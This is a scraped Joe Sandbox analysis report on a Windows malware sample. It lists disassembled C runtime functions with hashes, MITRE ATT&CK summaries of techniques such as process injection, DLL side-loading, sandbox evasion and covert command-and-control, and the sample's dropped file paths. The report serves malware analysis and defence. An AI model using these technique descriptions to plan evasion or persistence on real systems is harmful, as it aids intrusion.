Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: ad65626d92267ea3d7faa1d56cc5a12b9c292b6ddb2ded9f5177cdd81faf0236
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: F6B0123258030C33DB202A86EC07F063F5D87C0BA0F250060FA0D2D1F1A9A3B961C0CA

Non-executed Functions

Function 00E310CC Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 00E31346
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00E3135B
UnhandledExceptionFilter.KERNEL32(00E3816C), ref: 00E31366
GetCurrentProcess.KERNEL32(C0000409), ref: 00E31382
TerminateProcess.KERNEL32(00000000), ref: 00E31389

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: a7cb1223c11c21dad15505656f55e85ddca5ccd8d4db61d5274d7b03d1d02e93
Instruction ID: b87e58ec6278a946a6d577e015665137edc30caf62bdab60bcea3882f4f8d49c
Opcode Fuzzy Hash: a7cb1223c11c21dad15505656f55e85ddca5ccd8d4db61d5274d7b03d1d02e93
Instruction Fuzzy Hash: A121BDB45013089FD714EF26ED4C6547FB0BB1834AF88606AE588A7A70DBB459CCCF46

Function 00E321E5 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00E39458,0000000C,00E32320,00000000,00000000,?,00E3174F,00000003,?,?,?,?,?,?,00E310F6), ref: 00E321F7
__crt_waiting_on_module_handle.LIBCMT ref: 00E32202

Part of subcall function 00E313E1: Sleep.KERNEL32(000003E8,00000000,?,00E32148,KERNEL32.DLL,?,00E32194,?,00E3174F,00000003), ref: 00E313ED
Part of subcall function 00E313E1: GetModuleHandleW.KERNEL32(?,?,00E32148,KERNEL32.DLL,?,00E32194,?,00E3174F,00000003,?,?,?,?,?,?,00E310F6), ref: 00E313F6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00E3222B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00E3223B
__lock.LIBCMT ref: 00E3225D
InterlockedIncrement.KERNEL32(00E3A4D8), ref: 00E3226A
__lock.LIBCMT ref: 00E3227E
___addlocaleref.LIBCMT ref: 00E3229C

Strings

EncodePointer, xrefs: 00E3221F
DecodePointer, xrefs: 00E32233
KERNEL32.DLL, xrefs: 00E321F1, 00E321F6, 00E32201

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: fb77e3ab9d62d4ec38890724c45b7f53acffbdd30c7e13401f067b3e07b3964f
Instruction ID: 3812579c1b0d94cb82d4952ce7f4293bf15dab85a11b8afa1a3fbfb6cc36fd2b
Opcode Fuzzy Hash: fb77e3ab9d62d4ec38890724c45b7f53acffbdd30c7e13401f067b3e07b3964f
Instruction Fuzzy Hash: 1011AE718007009ED720AF769D4EB4ABFE0AF50310F10651EF5D9B32A1CB709A44CF21

Function 00E340A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00E340AC

Part of subcall function 00E32345: __getptd_noexit.LIBCMT ref: 00E32348
Part of subcall function 00E32345: __amsg_exit.LIBCMT ref: 00E32355

__amsg_exit.LIBCMT ref: 00E340CC
__lock.LIBCMT ref: 00E340DC
InterlockedDecrement.KERNEL32(?), ref: 00E340F9
InterlockedIncrement.KERNEL32(00E12C68), ref: 00E34124

Strings

h,, xrefs: 00E34112, 00E3411A

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID: h,
API String ID: 4271482742-4055314892
Opcode ID: a0d6a20ba0202575586d6d01eb2ed8c5f67999a909f0d839e36b815820ab8baf
Instruction ID: e53ffcc4bd5181f5f23337e3555c65c5a61176747d9ffdcf2f75c54b17e5f574
Opcode Fuzzy Hash: a0d6a20ba0202575586d6d01eb2ed8c5f67999a909f0d839e36b815820ab8baf
Instruction Fuzzy Hash: 4D01ADB2A02A15ABC725AF26980E75DBFA0BF00710F096059EA40B72D1CB347D85DF92

Function 00E335EE Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 00E3360C

Part of subcall function 00E32AA0: __mtinitlocknum.LIBCMT ref: 00E32AB6
Part of subcall function 00E32AA0: __amsg_exit.LIBCMT ref: 00E32AC2
Part of subcall function 00E32AA0: EnterCriticalSection.KERNEL32(?,?,?,00E35600,00000004,00E39628,0000000C,00E33746,?,?,00000000,00000000,00000000,?,00E322F7,00000001), ref: 00E32ACA

___sbh_find_block.LIBCMT ref: 00E33617
___sbh_free_block.LIBCMT ref: 00E33626
HeapFree.KERNEL32(00000000,?,00E39568,0000000C,00E32A81,00000000,00E394C8,0000000C,00E32ABB,?,?,?,00E35600,00000004,00E39628,0000000C), ref: 00E33656
GetLastError.KERNEL32(?,00E35600,00000004,00E39628,0000000C,00E33746,?,?,00000000,00000000,00000000,?,00E322F7,00000001,00000214), ref: 00E33667

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 6748ed58bc5163a7fb8d945ef1cad4ec779309e5bb50c63b5073496573267001
Instruction ID: 901757d2949ef1def3774adb74754647d83c15b96046d63680dabebf1d4d7399
Opcode Fuzzy Hash: 6748ed58bc5163a7fb8d945ef1cad4ec779309e5bb50c63b5073496573267001
Instruction Fuzzy Hash: 25014F71D04305BEDB20AB719C0FB5D7EA4AF11764F606149F641B61D2DA348684CA59

Function 00E33E04 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00E33E10

Part of subcall function 00E32345: __getptd_noexit.LIBCMT ref: 00E32348
Part of subcall function 00E32345: __amsg_exit.LIBCMT ref: 00E32355

__getptd.LIBCMT ref: 00E33E27
__amsg_exit.LIBCMT ref: 00E33E35
__lock.LIBCMT ref: 00E33E45

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 322e1a7745f1b1b15dc9cad88946f4fc4b0082a872113372c45326a36e8170cb
Instruction ID: 3a217d2ab78f57d88ed4bef85011f417e30a2298673cbdb3b118238525cc9eba
Opcode Fuzzy Hash: 322e1a7745f1b1b15dc9cad88946f4fc4b0082a872113372c45326a36e8170cb
Instruction Fuzzy Hash: 8FF09A32A003019BD720BB76880FB4D7FE0AF44B20F54629DE591B72E2CF749A41CB62

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to lowest risk score due to lack of data" ] }
Date: unknown

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2834573-3676874985.02.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe

C:\Program Files (x86)\20UfEkDS1\log.src

C:\Program Files (x86)\20UfEkDS1\tbcore3U.dll

C:\Program Files (x86)\20UfEkDS1\utils.vcxproj

C:\Program Files (x86)\vtAIyr\log.src

C:\Program Files (x86)\vtAIyr\tbcore3U.dll

C:\Program Files (x86)\vtAIyr\utils.vcxproj

C:\Program Files (x86)\vtAIyr\vtAIyr.exe

C:\Program Files (x86)\yKOHid\5fuoTf.exe

C:\Program Files (x86)\yKOHid\log.src

C:\Program Files (x86)\yKOHid\tbcore3U.dll

C:\Program Files (x86)\yKOHid\utils.vcxproj

C:\Users\Public\Music\destopbak.ini

Windows Analysis Report
2834573-3676874985.02.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre